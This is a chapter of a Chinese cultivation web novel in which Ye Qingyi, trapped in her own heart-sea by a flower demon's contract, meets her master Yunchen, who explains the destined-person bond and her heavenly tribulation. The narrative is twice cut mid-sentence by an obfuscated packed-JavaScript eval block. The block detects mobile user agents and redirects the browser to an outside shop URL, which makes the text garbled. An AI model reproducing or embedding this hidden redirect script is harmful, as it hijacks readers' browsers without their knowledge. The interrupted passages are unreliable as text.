【是你害了我!】【没用的,你出不去的!】【留下吧,代替我留下吧……】 她右手的衣袖被掀起,露出一截白皙的小臂,上面有一小块红色的印记,正是之前妖印的一部分。 叶清漪完成最后一个的吐纳,睁开眼,查看妖印的情况——原本一点痕迹也没有的小臂,如今现出了一小块红印。 芍药的声音出现在虚空中,带着几分得意:“看来妖印开始转移了,等妖印完整地转移到你身上时,你我的互换便也完成了。到时候,你在外面的那具身体将永远属于我。” “永远属于,”叶清漪重复了一遍,“也就是说,你对我身体的掌控,和这妖印转移的进度是一致的对吗?” “你还挺聪明的,不错,刚开始我会有一定程度地接管你的身体,再往后,我会有半数时间掌管你的身体,每次掌管的时间也会更长,至于其他时间,你也不会夺回身体的主导权,而是陷入昏睡,如此这般,直到我完全掌管你的身体,到时你就是我,我就是你。” “你如果用我的身份行事,肯定会被发现的。” “那又如何?他们就算知道也奈何不了我。况且,如今你倒是无意中替我铺了条好路,待我替你应下妖君这桩亲事,日后成亲,我就是妖后,到时谁还会在意这具身体里是何人?” 叶清漪懒得跟她再多费口舌,重又闭目静坐,感受着四周的灵力,寻找破阵之法。芍药发出一声冷笑:“别白费力气了,你出不去的,你就老老实实适应密林的生活吧!至少我还留你一条性命,也算仁至义尽了。” 说完,芍药就隐匿了气息,暂时不见了。 感觉到芍药的气息敛去之后,叶清漪才蓦地松了口气,整个身子半伏在地,一手撑地,一手护着腹部,她必须尽快出去,方才她调息之时,清楚感应到体内的冰莲似有异动,连喜怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182897|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也遇到麻烦了。 此前她曾在藏经阁读到一本提及妖契的书,叶清漪努力回忆上面的内容,依稀记得其上记载,妖契有不同属性之分,根据契主和契奴的身份,以及契约的内容,妖契的作用大有不同,有的契约是归属型契约,契奴签订契约,成为契主的附属,为其效力;有的则是共生型契约,契主契奴同生共死,若契主殒身,契奴则要为其偿命,将自己的性命抵给契主;有的契约只在短期内生效,到期未成契便当场兑现,一般来说效力一般,代价也不会太大,她的妖契是成长型契约,属于长期型契约,代价也会更大,契约的效力也更强。 当初契约内容有两点,一是她当上大师姐,二是成为云宸的亲传弟子,可如今花妖显然不会再给她这个机会,至于妖契的最终结果,是她必须要救出花妖,这样契约就算完成了,但是没说怎么救,所以花妖和她互换身体,以她的身份生活在密林之外,也相当于是她救出了花妖,只是和前者相比,这种情况下,叶清漪是被动的。 想那花妖成为密林妖主肯定有些时日了,却直到今日才对她发难,说明之前她没有办法这么做,如今应该是过了当初妖契约定的时间,那契主就可以强行要求契奴履行契约,也就是为何花妖如今可以强行夺取她的身体。 但是她并没有立即完成夺取,而是需要一段时间,这期间会是什么在影响着夺取的进度呢? 叶清漪看向自己的这身打扮,她现在是前世后来在魔界时的装扮,前世的她已然满足契约的两个条件,但是她此时是魔修状态,魔修的她是没有这两个身份的,既不是大师姐,也不是云宸的亲传弟子。方才那些幻觉消散后,她的衣着并没有随之复原,这说明她依然在幻境中,这身衣服的幻觉,这密林也是,若密林是真,那她进入结界这么久,早该被人发现了。 若是幻境,那甚至可能连花妖都不是真的。她是否可以回到前世还是仙修的时候呢? 可那偏偏是她最不愿回忆的一段时光。 叶清漪犹豫再三,缓缓闭上双眼。 再次睁开,眼前的一切全部都变了,密林不见了,她正盘腿坐在仙灵道场上,道场之上,那些同门正在练习剑法,她从中还看到许多熟面孔,顾长风、泽成甚至连凌雪瑶都在,有弟子结伴从她面前走过,恭敬行礼:“大师姐好!” 她回到了前世的云仞山。 叶清漪站起身,发现自己已经换上了大师姐的服制,摊开掌心,青锋剑便会直接显现,她已化剑为气,人剑合一。 只是连喜不在了,裴佩和夏侯静仪路过她身边时,也是恭敬疏离地向她行礼。 叶清漪望着下方热闹的仙灵道场,怅然若失。 正值此时,身后传来一声熟悉的呼唤:“清漪……” 叶清漪猛然清醒,怔怔回头。 “清漪,过来,为师有事要与你相商!”云宸正站在她身后,含笑朝她伸出手。 118. 命定之人 “师尊?”叶清漪看着眼前的云宸,回想之前密林的景象,不确定这次又会是什么情形,踟蹰着不敢上前。 “怎么心事重重的?是遇到什么难事了吗?”云宸轻声开口,温暖和煦,叶清漪猜想眼前该是这一世的云宸,前世云宸冷冰冰的,根本不会这样对她说话。 叶清漪权衡片刻,还是决定说出来:“师尊,我被困住了。” “被困住了?被什么困住了?” “我也不知道,一个林子,怎么都走不到尽头,也没有破绽,好像永远也走不出来。” 云宸安静听着,眼中笑意越盛:“你可曾觉得此情此景似曾相识?” “似曾相识?”叶清漪努力思索。 “你之前可曾入过类似的地方?”云宸耐心地引导她。 “我……” 见叶清漪还是毫无头绪,他一拂袖,换了一身白衣,一支素色云头木簪斜斜固定着发髻,仙风道骨,清冷出尘。 “这是……心海?这身衣服弟子只见师尊穿过一次,不会记错的。师尊是说我被困在自己的心海吗?” “不错。”云宸满意地点点头。 “可我才刚入一重天,心海不是要六重天以上才能有吗?” “我的确说过心海要到六重天以上才会修成,但后面还有一句,不是人人都有心海,除非是有极度的执念阻碍你突破修为。” “师尊的意思是,我有执念,这些幻境皆因我的执念而起?” “正是。” “可我从来没觉得自己有什么执念啊!” “有些执念容易察觉,有些执念难以察觉,还记得我跟你说过的,心海是如何形成的吗?”云宸循循善诱。(注) 叶清漪试图回忆了一下,实在太久远了,她想不起来。 云宸也不等她回答,直接说下去:“你说你被困住了,除了你自己,谁又能困住你呢?若你放过自己,那世间的一切境遇都不再是桎梏,相反,若是自身深陷执念,不管在哪儿都是身在囚牢。这世上能把人困住的,只有他们自己。” 叶清漪听得云山雾罩的:“我好像懂了,又好像没懂。” “你如今是一重天,可你前世早已突破八重天,你的执念跟着你历经两世,早已根深蒂固,你的心海也早就成形,只是之前一直处于沉寂状态,如今被妖契激发了罢了。”云宸一一道出。 “师尊你……一直都知道吗?”叶清漪眉心轻拧。 “我好歹也是重天境,这点窥古探未的能力我还是有的。” 叶清漪一时不知该作何反应:“所以从你第一次在云仞山见到我,就知道我是重生的?” 云宸不言。 “所以你才会去藏经阁看我,让我替你调查试炼的事,还有我被魔气所伤,住在流云殿时,你才会那般照顾我?” 云宸始终望着她,终于还是点头:“没错。” “我明白了,我全都明白了。”如此一来便都说得通了。 云宸没有分辨,只是望着她,像是在等叶清漪自行消化。 “那敢问师尊,如今出现在此,又意欲何为?”叶清漪言语间已然有些不敬。 云宸也理解她的心情,倒也不恼,刚准备解释什么,叶清漪已经先一步开口。 “我知道了,还是因为我是师尊的命定之人吧!所以师尊必须要保证我的安全对吗?如此我是不是还要感到庆幸?” 云宸欲言又止。 这时叶清漪又开口了,双手抱拳,躬身行礼:“徒儿斗胆,尚有一事不明,还望师尊赐教。” 云宸缓了神色,道:“但说无妨。” “徒儿想知道,若是这次真的被妖契反噬,我与花妖互换,那师尊的命定之人会是花妖,还是仍是徒儿呢?” “这……” “若命定之人变成了花妖,师尊又该当如何?到那时,对师尊而言,徒儿是不是就毫无用处了?师尊也不会再像之前那般对徒儿了吧!” 云宸慌乱抬手,像是急于分辨:“我不会让你如此的。” 叶清漪做顿悟状:“也对,师尊也不想和一只花妖有牵扯,这才进入我的心海,点拨一二,不愧是师尊,深谋远虑,徒儿自愧不如。” 云宸无力地垂下手,一时不知如何是好。 叶清漪反而有些惊讶,她还是难得见到如此落寞的云宸,但不知如何,心中就是有一腔愤懑,忍不住要顶撞云宸。大概是见惯了他处变不惊,对任何事都无波无澜的样子吧! “罢了,是徒儿僭越了,还请师尊莫要见怪!徒儿会努力战胜心魔,早日出去的。” 叶清漪说着准备离开,去他处想想办法。 就在她转身过后,云宸忽然开口:“天命之人,是不随外物而转移的。” 叶清漪没料到云宸真的会回答她,略带惊讶地回过头。 “就算你重生在了他人身上,你依然是我的命定之人,我也得找到你。就算花妖夺了你的躯壳,她也不会成为我的命定之人。” 望着云宸坦荡的双眼,叶清漪不禁眼神闪烁:“抱歉,师尊,是徒儿失言了。” “我之前对你的照拂,也不完全是因为此事,你很有天赋,是个修仙的好苗子,我从你身上也看到了我当年的影子,为师担心你会走上和我一样的路,所以对你严苛了一些,也避免你我有过多的羁绊,原本以为这样能让你避过大劫,可终究还是没能阻止。” “师尊的意思是……之前的走火入魔还有如今的重生,都是我的天劫吗?” 云宸颔首:“正是。” 叶清漪一时思绪纷杂,陷入迷茫:“原来我也有天劫,那到底何为命定之人?” “命定之人,大约便是与我有所关联,注定会产生羁绊的人吧!命定之人的安危会影响我的命数,若其命格有损,那我的修行势必也会大受阻碍。” 叶清漪忙问:“那会如何?” “轻则修为停滞,难有突破,重则走火入魔,修为尽废,甚至有性命之虞。” 叶清漪陷入沉默,纵然她有所不忿,但也能理解云宸的选择。 “你既是为师命定之人,为师自会护你周全,助你渡劫,但最主要的,还是要靠你自己。” 叶清漪抬眸:“那我要如何做,才能渡过天劫呢?” “放下执念,冲破心魔。”云宸目光坚定,好似能给人力量。 “那要如何放下执念呢?” “从心所欲,静照观心。” 见叶清漪不懂,云宸说得更明了些:“他人即是自身,你即是他人。” 叶清漪看向身后,同门师兄弟都在按部就班地操练,看上去跟前世没什么不一样。 “弟子好像能捕捉到一丝领悟,但又无法宣之于口,好像话到嘴巴,就失去了生命一般。” “说不出来,那便去做。” 叶清漪望向一侧的道场,神情怅然:“弟子还是不知该怎么做。” “还记得之前在为师的心海里,你是如何离开的吗?” 叶清漪努力回忆:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不必按照前世的轨迹走,也不必不按前世的轨迹,而是应当将这一切视作重新开始,以新的眼光看待,看待遇见的人,看待如今的自己,像什么都没发生一样,从心所欲地活着,不让过往影响此刻的她。 想明白这点,叶清漪只觉心中无比畅快,郁气一扫而空,身躯也随之轻盈,腾空而起,整个仙灵道场也开始摇摇欲坠。 叶清漪升到半空后,整个仙灵道场就已全部消失,她往下望,隐约可见一片白茫茫的湖泊中心有一汀渚,渚上有一棵低矮枯树,一人一琴,正在其上,琴上系着一枚青色的剑穗,叶清漪觉得有些眼熟,但离得太远看不清楚,不过也不是什么要紧的事情,还是先出去要紧,想罢,她不再回头,加速往前飞去,终究是离开了。 琴音戛然而止,一声轻喃响起:“云宸啊,她好像,再不需要我们保护了。” 枯树下,白衣银发,一只枯手握着一枚青色剑穗轻抚,剑穗表面光滑,色泽鲜艳,像是被摩挲了无数次。 - 三十年前,云仞山昭明殿。 云徵喊来最小的徒弟,第一次向他提及天命:“天赋卓绝之辈,都有其命定的天劫,天劫凶险异常,你这般天资,你的天劫只会比他人更凶险,也更不寻常些。” 小云宸彼时才九岁,但已有几分远超同龄人的老成,他一手负剑于身后,一手作剑指行礼:“敢问师尊,如何不寻常?” 云徵凝视着他,眉心似有不忍:“你的天劫,是人。” “人?” “……一个命定之人。” 二十多年后,当云宸在昭明殿第一次见到那位仙徒时,他便知道,他的天劫来了。